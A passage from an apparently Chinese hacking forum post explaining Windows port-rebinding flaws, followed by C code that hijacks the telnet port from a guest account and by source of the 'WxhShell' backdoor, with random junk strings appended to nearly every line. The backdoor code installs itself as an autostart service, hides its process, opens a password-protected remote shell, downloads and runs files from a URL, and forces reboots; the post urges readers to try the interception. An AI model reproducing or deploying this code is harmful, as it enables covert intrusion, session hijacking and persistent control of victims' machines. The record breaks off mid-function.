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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: XB\n4 |4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $rz'Ybs  
hOIk6}r4X  
  saddr.sin_family = AF_INET; )n17}Qm`V  
"6o5x&H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C/A~r  
#nJ&`woZt  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "QCViR  
w}``2djR'W  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %B-m- =gz  
 7VAet  
  这意味着什么?意味着可以进行如下的攻击: Zcxj.F(,  
</Ry4x^A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g(F? qP_K  
>O}J*4A>+#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B;xGTl@8  
XLsOn(U\&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 doV+u(J~  
Z1M{5E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pt- 1>Ui  
+@5*_n\e`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y7Sj^muBY  
jd?NN:7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {-)*.l=  
HU+zzTgI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =CjN=FM  
nwPU{4#l<  
  #include UvM_~qo  
  #include dLy-J1h\  
  #include ,N`D{H"F  
  #include    M[,G#GO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~F=,)GE  
  int main() Z|qUVD5Ic  
  { +a((,wAN2  
  WORD wVersionRequested; #gY|T|  
  DWORD ret;  0@dN$e  
  WSADATA wsaData; f3HleA&&  
  BOOL val; MuQ'L=iJ  
  SOCKADDR_IN saddr; Yq0=4#_  
  SOCKADDR_IN scaddr; K44j-Ypb  
  int err; iZDZ/hohv  
  SOCKET s; N3rQ]HZiP  
  SOCKET sc; c9)5G+   
  int caddsize; lM-*{<B  
  HANDLE mt; 2@#`x"0  
  DWORD tid;   "=\@ a=  
  wVersionRequested = MAKEWORD( 2, 2 ); .>{I S4  
  err = WSAStartup( wVersionRequested, &wsaData ); D!CuE7}  
  if ( err != 0 ) { 1rQKHC:|  
  printf("error!WSAStartup failed!\n"); R SqO$~  
  return -1; 'or8CGr^p  
  } !`EhVV8u-_  
  saddr.sin_family = AF_INET; )NCkq~M  
   'ai!6[|SD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q X>\*@  
{Qr0pjE7R  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [p[C45d=<  
  saddr.sin_port = htons(23); _4#&!b6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y<A%&  
  { KHJk}]K  
  printf("error!socket failed!\n"); rE&+fSBD  
  return -1; >*cg K}!@  
  } JW-!m8  
  val = TRUE; 5D%gDw+"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 AV*eGzz`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m5rJY/  
  { !_SIq`5]@  
  printf("error!setsockopt failed!\n"); #Bgq]6G2  
  return -1;  _F9O4Q4  
  } .WT^L2l%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; kw.IVz<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mFXkrvOf,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K7N.gT*4  
[.`%]Z(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cPm-)/E)i  
  { rc9Y:(S1l  
  ret=GetLastError(); #cD20t  
  printf("error!bind failed!\n"); gaXKP1m^  
  return -1; ;_hL  
  } !@vM@Z"  
  listen(s,2); K:g:GEDgf  
  while(1) lTn~VsoRZ  
  {  ~ok i s  
  caddsize = sizeof(scaddr); xMAb=87_  
  //接受连接请求 cXo^.u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); auS.q5 %  
  if(sc!=INVALID_SOCKET) dn)pVti_  
  { }^R_8{>k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;&%G)f  
  if(mt==NULL) r(::3TF%#q  
  { --9Z  
  printf("Thread Creat Failed!\n"); I{0bs Tp;  
  break; 9x40  
  } c@1q8,  
  } Hz6yy*  
  CloseHandle(mt); }th^l*g  
  } J$Qm:DC5  
  closesocket(s); (66DKG   
  WSACleanup(); 1KtPq,  
  return 0; Y?>us  
  }   A, )G$yT\  
  DWORD WINAPI ClientThread(LPVOID lpParam) ] 336FgT  
  { s"solPw  
  SOCKET ss = (SOCKET)lpParam; bG6<=^  
  SOCKET sc; + $x;FT&  
  unsigned char buf[4096]; \1p5$0z  
  SOCKADDR_IN saddr; f YuM`O  
  long num; {UR&Y  
  DWORD val; j2/3NF5&  
  DWORD ret; VF<C#I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6(X5n5C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   66+y@l1  
  saddr.sin_family = AF_INET; t9Nu4yl  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); * (4TasQu  
  saddr.sin_port = htons(23); 4JD 8w3u/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GqrOj++>  
  { &PAgab2$  
  printf("error!socket failed!\n"); %VCfcM}5I  
  return -1; 1xkU;no  
  } {)vue0 vP  
  val = 100; Q$(0Nx<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <15POB  
  { Kx;DmwX-  
  ret = GetLastError(); ]U,K]y[Bj  
  return -1; U|%y `PZ  
  } h1 D#,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (BA2   
  { gAY%VFBP0  
  ret = GetLastError(); dTV:/QM  
  return -1; O(( kv|X4  
  } !j3V'XU#Zn  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ffQ%GV_  
  { BU="BB/[  
  printf("error!socket connect failed!\n");  yq ?_#r  
  closesocket(sc); _0rHxh7}q  
  closesocket(ss); $VrKoL\ScA  
  return -1; P9p{j1*;  
  } g1uqsqYt  
  while(1) | 3`qT#p{  
  { m7XJe[O  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Iy}r'#N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $DfaW3bJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J\%<.S>  
  num = recv(ss,buf,4096,0); V+dfV`*k  
  if(num>0) P'Fy,fNg  
  send(sc,buf,num,0); hao0_9q+  
  else if(num==0) x Qh?  
  break; a9E!2o+,  
  num = recv(sc,buf,4096,0); S%ri/}qI[{  
  if(num>0) h]94\XQ>$  
  send(ss,buf,num,0); rI:KZ}GZ  
  else if(num==0) k"P2J}4eO  
  break; F$K-Q;r]<  
  } Zw5\{Z0  
  closesocket(ss); 9rb/hkX&  
  closesocket(sc); ~EU[?  
  return 0 ; f$E66yG  
  } ~PNO|]8j  
."Yub];H  
I_yIVw;  
========================================================== r<oI4px  
6bg+U`&g  
下边附上一个代码,,WXhSHELL 0NSn5Hq  
$p4aNC  
========================================================== {zGIQG9  
OvPy+I  
#include "stdafx.h" V=|^r?  
8-5a*vV,>  
#include <stdio.h> \QUvImT  
#include <string.h> ~zz|U!TG  
#include <windows.h> ru`;cXa,  
#include <winsock2.h> T^a {#B  
#include <winsvc.h> 13Z6dhZu  
#include <urlmon.h> ;f-|rC_"  
 W4CI=94  
#pragma comment (lib, "Ws2_32.lib") @2_s;!K  
#pragma comment (lib, "urlmon.lib") [ &*$!M  
{K'SOh H4?  
#define MAX_USER   100 // 最大客户端连接数 8mA6l0  
#define BUF_SOCK   200 // sock buffer 04;y%~,}U/  
#define KEY_BUFF   255 // 输入 buffer .;tO;j |6  
!9"R4~4  
#define REBOOT     0   // 重启 {I 7pk6Qd  
#define SHUTDOWN   1   // 关机 P:k(=CzZ@J  
w c%  
#define DEF_PORT   5000 // 监听端口 ](0 Vm_es  
; _i0@@J  
#define REG_LEN     16   // 注册表键长度 Jb-wvNJu  
#define SVC_LEN     80   // NT服务名长度 x=B+FIJ  
) Q=G&  
// 从dll定义API Gx ZQ{ \  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *vhm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tL+8nTL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z s"AYxr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pOI+  
`Ik}Xw  
// wxhshell配置信息 73~Mq7~8  
struct WSCFG { }WGi9\9T&  
  int ws_port;         // 监听端口 F.8{ H9`  
  char ws_passstr[REG_LEN]; // 口令 w=e,gNO  
  int ws_autoins;       // 安装标记, 1=yes 0=no N0RFPEQ~  
  char ws_regname[REG_LEN]; // 注册表键名 F'CUkVC0~P  
  char ws_svcname[REG_LEN]; // 服务名 >2syF{`j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f9- |! ]s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z%/ww7H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hqD;<:.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lO $M6l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0]oQ08  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3R#<9O  
W,{`)NWg  
}; _R(5?rG,  
0acY@_  
// default Wxhshell configuration N2&aU?`e  
struct WSCFG wscfg={DEF_PORT, Y0B*.H Ae  
    "xuhuanlingzhe", \S7OC   
    1, %y w*!A1  
    "Wxhshell", Sw1]]-Es  
    "Wxhshell", N~>?w#?J  
            "WxhShell Service", CJKH"'u3^  
    "Wrsky Windows CmdShell Service", Z `\7B e  
    "Please Input Your Password: ", ^}1RDdQ"U  
  1, oh@r0`J]x  
  "http://www.wrsky.com/wxhshell.exe", RO.(k!J .  
  "Wxhshell.exe" vWkKNB  
    }; "(efd~.]  
x#8=drh.:C  
// 消息定义模块 ,t+ATaOF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r3j8[&B"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zc4hjg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "}HQ)54&  
char *msg_ws_ext="\n\rExit."; _Mt:^H}Sy  
char *msg_ws_end="\n\rQuit."; )q l?}  
char *msg_ws_boot="\n\rReboot..."; #6H<JB  
char *msg_ws_poff="\n\rShutdown..."; pV("NJj!  
char *msg_ws_down="\n\rSave to "; J$I1 *~I4v  
`u>BtAx8  
char *msg_ws_err="\n\rErr!"; , ;d9uG2  
char *msg_ws_ok="\n\rOK!"; mTP.W#N  
[d&Faa[`  
char ExeFile[MAX_PATH]; Fcr@Un'  
int nUser = 0; fd,~Yj$R?  
HANDLE handles[MAX_USER]; oM7^h3R  
int OsIsNt; lwg.'<  
;W+-x] O  
SERVICE_STATUS       serviceStatus; Z],"<[E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _5m }g!  
8&UuwZ6i-  
// 函数声明  <aHt6s'  
int Install(void); yX~[yH+Pn  
int Uninstall(void); m~U{ V9;*  
int DownloadFile(char *sURL, SOCKET wsh); F>b6fUtR  
int Boot(int flag); Uqpvj90sw  
void HideProc(void); 0&nF Vsz  
int GetOsVer(void); %@&)t?/=  
int Wxhshell(SOCKET wsl); Ksp;bfe  
void TalkWithClient(void *cs); " }ZD)7K  
int CmdShell(SOCKET sock); !>:tF,fcB  
int StartFromService(void); =5|5j!i=q  
int StartWxhshell(LPSTR lpCmdLine); Y@4vQm+  
XP`kf]9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v4zd x)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5,c`  
u9gr@06  
// 数据结构和表定义 *"CvB{XF&Z  
SERVICE_TABLE_ENTRY DispatchTable[] = kxmS   
{ |K_B{v.   
{wscfg.ws_svcname, NTServiceMain}, f!J^vDl  
{NULL, NULL} ^`!Daqk  
}; $"FdS,*qKl  
F:@Ixk?E  
// 自我安装 ,pASjFWi  
int Install(void) piG1&*  
{ h[8y$.YsC  
  char svExeFile[MAX_PATH]; #CS>A# Lk  
  HKEY key; lX4p'R-h  
  strcpy(svExeFile,ExeFile); 2bJFlxEU  
c'B"Onu@m*  
// 如果是win9x系统,修改注册表设为自启动 IID(mmy6 L  
if(!OsIsNt) { J7_H.RPa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !:t9{z{Ixg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |i`@!NrFL  
  RegCloseKey(key); E&+ ^H on  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6-=_i)kzq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }gW}Vr <  
  RegCloseKey(key); 7asq]Y}<  
  return 0; XJzXxhk2  
    } ".)_kt[  
  } O$H150,Q  
} H+;wnI>@  
else { _5T7A><q<  
^8m+*t  
// 如果是NT以上系统,安装为系统服务 V"p<A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Vd0GTpB?1  
if (schSCManager!=0) qj6`nbZ{va  
{ *jK))|%  
  SC_HANDLE schService = CreateService YP<]f>SBt  
  ( QP B"E W  
  schSCManager, ^PQV3\N  
  wscfg.ws_svcname, _")h %)f  
  wscfg.ws_svcdisp, |&Pl4P  
  SERVICE_ALL_ACCESS, OD]J@m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BB.TrQM.#  
  SERVICE_AUTO_START, a+/|O*>#  
  SERVICE_ERROR_NORMAL, X6.O ;  
  svExeFile, :xPvEK[B7  
  NULL, TyWy5J< :+  
  NULL, ]uvbQ.l_t  
  NULL, >t2b?(h/x  
  NULL, 8q3TeMYV  
  NULL hzLGmWN2j8  
  ); 2 mZ/ 3u  
  if (schService!=0) &%X Jf~IQ  
  { 3@] a#>  
  CloseServiceHandle(schService); \=7=>x_  
  CloseServiceHandle(schSCManager); 1[l>D1F?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l,u{:JC  
  strcat(svExeFile,wscfg.ws_svcname); X=pt}j,QrP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #0u69  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Yd;r8rN  
  RegCloseKey(key); q=Yerp3~  
  return 0; AfN   
    } f^4*.~cB  
  } l _ O~v?  
  CloseServiceHandle(schSCManager); DH9?2)aR  
} ~Ls I<z  
} -^H5z+"^  
t4/eB<fP  
return 1; ]&U|d  
} G=cH61  
:EwA$`/  
// 自我卸载 `^-Be  
int Uninstall(void) TDIOK  
{  hu(K!>{  
  HKEY key; `_U0>Bfg;  
FRt/{(jro  
if(!OsIsNt) { Zk#i9[g9*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y]]Vp~R:[  
  RegDeleteValue(key,wscfg.ws_regname); +Nbk\%  
  RegCloseKey(key); !otq X-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W4*BR_H&*  
  RegDeleteValue(key,wscfg.ws_regname); ~e<'t4  
  RegCloseKey(key); 'uAC oME@  
  return 0; hav?mnVJ  
  } N#['fg'  
} ~_db<!a  
} P .4b+9T x  
else { L*01l"5  
l;}7A,u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,beR:60)  
if (schSCManager!=0) jfPJ5]Z  
{ bNjaCK<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0aTbzOn&  
  if (schService!=0) G\N"rG=  
  { 7]xz8t  
  if(DeleteService(schService)!=0) { qm8n7Z/  
  CloseServiceHandle(schService); jnp6qpY{  
  CloseServiceHandle(schSCManager); %[\x%m)  
  return 0; Z*(! `,.bB  
  } J s<MJ4r>/  
  CloseServiceHandle(schService); vDeG20.?Z  
  } sQ:VrXwP  
  CloseServiceHandle(schSCManager); y7)[cvB  
} hf^`at  
} FR,#s^kF  
sx<+ *Trl  
return 1; zg Y*|{4Sl  
} 5'c+313 lm  
#X@<U <R  
// 从指定url下载文件 v#%>uLl  
int DownloadFile(char *sURL, SOCKET wsh) {9.~]dI|L  
{ ,cy/fW  
  HRESULT hr; 4a.e ,gitf  
char seps[]= "/"; bOSYr<R&  
char *token; FHNuMdFn  
char *file; xDA,?i;T 0  
char myURL[MAX_PATH]; f+TBs_  
char myFILE[MAX_PATH]; JeTrMa2  
Hrg=sR  
strcpy(myURL,sURL); -~O;tJF2  
  token=strtok(myURL,seps); 9g&)6,<  
  while(token!=NULL) fo\J \  
  { ?Y6la.bc{  
    file=token; >c y.]uB  
  token=strtok(NULL,seps); @7l=+`.i  
  } kYA'PW/[ )  
95?5=T F  
GetCurrentDirectory(MAX_PATH,myFILE); [+MH[1Vr={  
strcat(myFILE, "\\"); U~#^ ^  
strcat(myFILE, file); >RL6Jbo|  
  send(wsh,myFILE,strlen(myFILE),0); Z_V&IQo-7  
send(wsh,"...",3,0); o(X90X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @@{_[ir  
  if(hr==S_OK) vgQhdtt  
return 0; kk_9G -M  
else G9'YgW+$7  
return 1; ?V5Pt s  
"E ok;io  
} H&yFSz}6a  
\|pK Z6*s  
// 系统电源模块 wO_pcNYZ8  
int Boot(int flag) A.$VM#  
{ RZ)vU'@kx  
  HANDLE hToken; Tu= eQS|'  
  TOKEN_PRIVILEGES tkp; !: EW21m  
lQ<#jxp  
  if(OsIsNt) { tU)r[2H2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }OP%p/eY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WrHgF*[  
    tkp.PrivilegeCount = 1; i_9Cc$Qh<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 01-\:[{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )0 n29  
if(flag==REBOOT) { # McK46B z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (ju aDn)  
  return 0; q]iKz%|Z/  
} %KJhtd"q  
else { @q{:Oc^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k{}[>))Q  
  return 0; rtYb"-&  
} ~E3SC@KL  
  } C:s^s  
  else { `hK>bHj  
if(flag==REBOOT) { =N*%f%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NDe[2  
  return 0; @ yg| OA}  
} anz9lGG#  
else { , Y g5X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DX&lBV  
  return 0; XC7Ty'#"KX  
} mV**9-"  
} -n=$[-w  
"u Of~e"  
return 1; JI+KS  
} ^:cb $9F  
wv7p,9Z[  
// win9x进程隐藏模块 OXIu>jF  
void HideProc(void) H)j [eZP  
{ _>jrlIfc  
;9p#xW6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =q"w2b&  
  if ( hKernel != NULL ) [$1: &!(!  
  { {m_A1D/_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RWh9&O:6'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); je- , S>U  
    FreeLibrary(hKernel); @Hspg^  
  } F= _uNq  
Cz=A{< ^g  
return; |c 06ix;).  
} {FV,j.D  
vB{; N  
// 获取操作系统版本 .-('C> @  
int GetOsVer(void) k7yv>iN  
{ !7mvyc!'!  
  OSVERSIONINFO winfo; k\+y4F8$x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u@=+#q~/P  
  GetVersionEx(&winfo); #Dj"W8'zh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *} *!+C3  
  return 1; AkYupP2]v  
  else };|!Lhl+  
  return 0; K;<NBnH  
} >u9id>+  
Ax5mP8S  
// 客户端句柄模块 O3^98n2  
int Wxhshell(SOCKET wsl) ^[X|As2  
{ m%e^&N#%6r  
  SOCKET wsh; KXoL,)Hl  
  struct sockaddr_in client; blRY7  
  DWORD myID; ULp)T`P  
9]]!8_0=r  
  while(nUser<MAX_USER) 7af?E)}v  
{ Y=P9:unG  
  int nSize=sizeof(client); t7jh ?]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @!z$Sp=  
  if(wsh==INVALID_SOCKET) return 1; 88Fb1!a5Z  
S+.21,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ri/t(m^{W  
if(handles[nUser]==0) w8AJ#9W  
  closesocket(wsh); ! 6p>P4TT  
else o|z+!,  
  nUser++; ^?$D.^g  
  } & cM u/}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c8^+^.=pX  
:3111}>c  
  return 0; h|J;6Sm@  
} tj#=%m?8V;  
K(-G: |  
// 关闭 socket Zvd ;KGO(a  
void CloseIt(SOCKET wsh) Y5n z?a  
{ VKq0 <+M  
closesocket(wsh); $Nj'OJSj%  
nUser--; 8q_1(& O  
ExitThread(0); r5f^WZ$-  
} +IwdMJ8&8  
Xtuhcdzu[  
// 客户端请求句柄 @rPI$ia1~  
void TalkWithClient(void *cs) I#i?**  
{ e%PC e9  
mDb-=[W5  
  SOCKET wsh=(SOCKET)cs; x1|Da$2  
  char pwd[SVC_LEN]; ;V|M3  
  char cmd[KEY_BUFF]; l%^h2 o  
char chr[1]; o `b`*Z  
int i,j; [Z#+gh  
Of1IdE6~  
  while (nUser < MAX_USER) { pBlRd{#fL  
(3e;"'k  
if(wscfg.ws_passstr) { WuBmdjZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * <B)Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yr FZ~r@-  
  //ZeroMemory(pwd,KEY_BUFF); *D\0.K,o  
      i=0; p G)9=X!9  
  while(i<SVC_LEN) { whV&qe;sw  
gsW=3m&`  
  // 设置超时 Z 6 tE{/  
  fd_set FdRead; ?RZq =5Um&  
  struct timeval TimeOut; k%{ l4  
  FD_ZERO(&FdRead); /6Y0q9  
  FD_SET(wsh,&FdRead); R ^HohB  
  TimeOut.tv_sec=8; 77+| #< J  
  TimeOut.tv_usec=0; /uK)rG F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Bs_S.JP<`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KjO-0VMN3  
gsnP!2cR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *6NO-T; -  
  pwd=chr[0]; A;odVaH7  
  if(chr[0]==0xd || chr[0]==0xa) { S$S_nNq  
  pwd=0; y:qx5Mi  
  break; }$^]dn@  
  } K|`+C1!  
  i++; VMaS;)0f@  
    } _GE=kw;:  
#]?tY }~  
  // 如果是非法用户,关闭 socket ^Y$QR]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pI  &o?n  
} Bk&-1>cY  
Xwn3+tSIa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7 rH'1U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [:Be[pLC  
IbF 4k .J  
while(1) { U$A/bEhw  
x:p}w[WM  
  ZeroMemory(cmd,KEY_BUFF); DP|TIt,Rl  
"]v uD  
      // 自动支持客户端 telnet标准   ,o BlJvm  
  j=0; : aHcPc:  
  while(j<KEY_BUFF) { =.DTR5(_h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l+t #"3  
  cmd[j]=chr[0]; ;?0_Q3IML  
  if(chr[0]==0xa || chr[0]==0xd) { UMT\Q6p  
  cmd[j]=0; k}X[u8A  
  break; xM% pvx.'L  
  } 9H>BWjS  
  j++; g8KY`MBnC&  
    } ,g%o  
w- r_H!-  
  // 下载文件 <}&7 a s  
  if(strstr(cmd,"http://")) { y7>iz6N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8B j4 _!g  
  if(DownloadFile(cmd,wsh)) HC?0Lj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P= e4lF.  
  else /CH(!\bQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h iAxh Y  
  } mU>&ql?e  
  else { AU/#b(mI  
itw{;j   
    switch(cmd[0]) { )^&,Dj   
  <]~ZPk[  
  // 帮助 Og=[4?Kpk  
  case '?': { 4e}{$s$Xx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y">fN0{<  
    break; `n6/ A)  
  } Sobtz}A*  
  // 安装 2%5?F n=  
  case 'i': { .x EJaID\N  
    if(Install()) c!mG1lwD.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "@4ghot t  
    else :VJV5f{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N ,+(>?yE  
    break; * flWL  
    } .?B{GnB>  
  // 卸载 l^ARW E  
  case 'r': { \9'!"-i  
    if(Uninstall()) p'gb)nI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?d4Boe0-a2  
    else NIaF5z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YwGH G{?e  
    break; lu]o34  
    } #9i6+. Z  
  // 显示 wxhshell 所在路径 ujx@@N  
  case 'p': { MA$Xv`6I\  
    char svExeFile[MAX_PATH]; T(JuL<PB  
    strcpy(svExeFile,"\n\r"); oKRFd_r+  
      strcat(svExeFile,ExeFile); alc]  
        send(wsh,svExeFile,strlen(svExeFile),0); DKTD Z*  
    break; "?P[9x}  
    } L@nebT;\'  
  // 重启 {M [~E|@D  
  case 'b': { ^Z#@3 =  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :&9TW]*g  
    if(Boot(REBOOT)) Ge^Qar  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ ICb Kg:  
    else { 0Qp[\ia  
    closesocket(wsh); Fom>'g*  
    ExitThread(0); Z["BgEJ  
    } Pr`s0J%m  
    break; \"'\MA  
    } S.W^7Ap  
  // 关机 ck$M(^)l  
  case 'd': { )km7tA 0a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (8G$(MK  
